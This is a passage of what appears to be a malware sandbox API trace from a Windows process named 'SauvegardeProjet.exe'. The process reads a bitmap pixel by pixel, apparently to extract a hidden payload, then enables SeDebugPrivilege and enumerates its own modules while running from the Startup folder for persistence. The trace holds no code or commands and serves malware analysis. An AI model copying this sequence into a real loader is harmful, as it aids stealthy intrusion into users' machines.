x=0, y=178, color=0x540e3d0) returned 0x0 [0226.912] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.912] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.959] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=179, color=0x540e3d0) returned 0x0 [0226.959] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.959] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.959] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=180, color=0x540e3d0) returned 0x0 [0226.959] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.959] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.959] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=181, color=0x540e3d0) returned 0x0 [0226.959] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.959] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.959] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=182, color=0x540e3d0) returned 0x0 [0226.959] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.959] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.959] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=183, color=0x540e3d0) returned 0x0 [0226.959] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.959] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.959] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=184, color=0x540e3d0) returned 0x0 [0226.959] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=185, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=186, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=187, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=188, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=189, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=190, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=191, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=192, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=193, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.960] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.960] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=194, color=0x540e3d0) returned 0x0 [0226.960] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=195, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=196, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=197, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=198, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=199, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=200, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=201, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=202, color=0x540e3d0) returned 0x0 [0226.961] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.961] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.961] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=203, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=204, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=205, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=206, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=207, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=208, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=209, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=210, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=211, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.962] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.962] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=212, color=0x540e3d0) returned 0x0 [0226.962] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=213, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=214, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=215, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=216, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=217, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=0, y=218, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3e4) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=0, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=1, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=2, color=0x540e3d0) returned 0x0 [0226.963] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.963] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.963] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=3, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=4, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=5, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=6, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=7, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=8, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=9, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=10, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.964] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=11, color=0x540e3d0) returned 0x0 [0226.964] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.964] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=12, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=13, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=14, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=15, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=16, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=17, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=18, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=19, color=0x540e3d0) returned 0x0 [0226.965] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.965] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.965] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=20, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=21, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=22, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=23, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=24, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=25, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=26, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipGetImageHeight (image=0x4ae4c90, height=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=27, color=0x540e3d0) returned 0x0 [0226.966] GdipGetImageWidth (image=0x4ae4c90, width=0x540e3c0) returned 0x0 [0226.966] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=28, color=0x540e3d0) returned 0x0 [0226.967] GdipBitmapGetPixel (bitmap=0x4ae4c90, x=1, y=29, color=0x540e3d0) returned 0x0 [0229.400] GetCurrentProcessId () returned 0x55c [0229.426] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x540adac | out: lpLuid=0x540adac*(LowPart=0x14, HighPart=0)) returned 1 [0229.534] GetCurrentProcess () returned 0xffffffff [0229.534] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x540ada8 | out: TokenHandle=0x540ada8*=0x284) returned 1 [0229.535] AdjustTokenPrivileges (in: TokenHandle=0x284, DisableAllPrivileges=0, NewState=0x25e18ac*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0229.535] CloseHandle (hObject=0x284) returned 1 [0229.537] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x284 [0229.544] EnumProcessModules (in: hProcess=0x284, lphModule=0x25e2128, cb=0x100, lpcbNeeded=0x540b480 | out: lphModule=0x25e2128, lpcbNeeded=0x540b480) returned 1 [0229.545] GetModuleInformation (in: hProcess=0x284, hModule=0xfe0000, lpmodinfo=0x25e2268, cb=0xc | out: lpmodinfo=0x25e2268*(lpBaseOfDll=0xfe0000, SizeOfImage=0x9c000, EntryPoint=0x1076c3e)) returned 1 [0229.546] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.546] GetModuleBaseNameW (in: hProcess=0x284, hModule=0xfe0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="SauvegardeProjet.exe") returned 0x14 [0229.546] CoTaskMemFree (pv=0x6681b48) [0229.547] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.547] GetModuleFileNameExW (in: hProcess=0x284, hModule=0xfe0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0229.547] CoTaskMemFree (pv=0x6681b48) [0229.547] GetModuleInformation (in: hProcess=0x284, hModule=0x77b10000, lpmodinfo=0x25e4424, cb=0xc | out: lpmodinfo=0x25e4424*(lpBaseOfDll=0x77b10000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0229.547] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.547] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77b10000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0229.548] CoTaskMemFree (pv=0x6681b48) [0229.548] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.548] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77b10000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0229.548] CoTaskMemFree (pv=0x6681b48) [0229.548] GetModuleInformation (in: hProcess=0x284, hModule=0x736a0000, lpmodinfo=0x25e6528, cb=0xc | out: lpmodinfo=0x25e6528*(lpBaseOfDll=0x736a0000, SizeOfImage=0x4a000, EntryPoint=0x736a2e54)) returned 1 [0229.548] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.548] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x736a0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0229.549] CoTaskMemFree (pv=0x6681b48) [0229.549] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.549] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x736a0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0229.549] CoTaskMemFree (pv=0x6681b48) [0229.549] GetModuleInformation (in: hProcess=0x284, hModule=0x77540000, lpmodinfo=0x25e8634, cb=0xc | out: lpmodinfo=0x25e8634*(lpBaseOfDll=0x77540000, SizeOfImage=0x110000, EntryPoint=0x775532d3)) returned 1 [0229.549] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.549] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77540000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0229.549] CoTaskMemFree (pv=0x6681b48) [0229.549] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.550] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77540000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0229.550] CoTaskMemFree (pv=0x6681b48) [0229.550] GetModuleInformation (in: hProcess=0x284, hModule=0x75990000, lpmodinfo=0x25ea748, cb=0xc | out: lpmodinfo=0x25ea748*(lpBaseOfDll=0x75990000, SizeOfImage=0x46000, EntryPoint=0x75997478)) returned 1 [0229.550] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.550] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75990000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0229.550] CoTaskMemFree (pv=0x6681b48) [0229.550] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.550] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75990000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0229.551] CoTaskMemFree (pv=0x6681b48) [0229.551] GetModuleInformation (in: hProcess=0x284, hModule=0x773f0000, lpmodinfo=0x25ec890, cb=0xc | out: lpmodinfo=0x25ec890*(lpBaseOfDll=0x773f0000, SizeOfImage=0xa0000, EntryPoint=0x774049e5)) returned 1 [0229.551] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.551] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x773f0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0229.551] CoTaskMemFree (pv=0x6681b48) [0229.551] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.551] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x773f0000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0229.552] CoTaskMemFree (pv=0x6681b48) [0229.552] GetModuleInformation (in: hProcess=0x284, hModule=0x77490000, lpmodinfo=0x25ee9a4, cb=0xc | out: lpmodinfo=0x25ee9a4*(lpBaseOfDll=0x77490000, SizeOfImage=0xac000, EntryPoint=0x7749a472)) returned 1 [0229.552] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.552] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77490000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0229.552] CoTaskMemFree (pv=0x6681b48) [0229.552] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.552] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77490000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0229.553] CoTaskMemFree (pv=0x6681b48) [0229.553] GetModuleInformation (in: hProcess=0x284, hModule=0x75f70000, lpmodinfo=0x25f0ab0, cb=0xc | out: lpmodinfo=0x25f0ab0*(lpBaseOfDll=0x75f70000, SizeOfImage=0x19000, EntryPoint=0x75f74975)) returned 1 [0229.553] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.553] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75f70000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0229.553] CoTaskMemFree (pv=0x6681b48) [0229.554] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.554] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75f70000, lpFilename=0x6681b48, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0229.554] CoTaskMemFree (pv=0x6681b48) [0229.554] GetModuleInformation (in: hProcess=0x284, hModule=0x758a0000, lpmodinfo=0x25f2bbc, cb=0xc | out: lpmodinfo=0x25f2bbc*(lpBaseOfDll=0x758a0000, SizeOfImage=0xf0000, EntryPoint=0x758b0569)) returned 1 [0229.554] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.554] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x758a0000, lpBaseName=0x6681b48, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0229.555] CoTaskMemFree (pv=0x6681b48) [0229.555] CoTaskMemAlloc (cb=0x804) returned 0x6681b48 [0229.555] 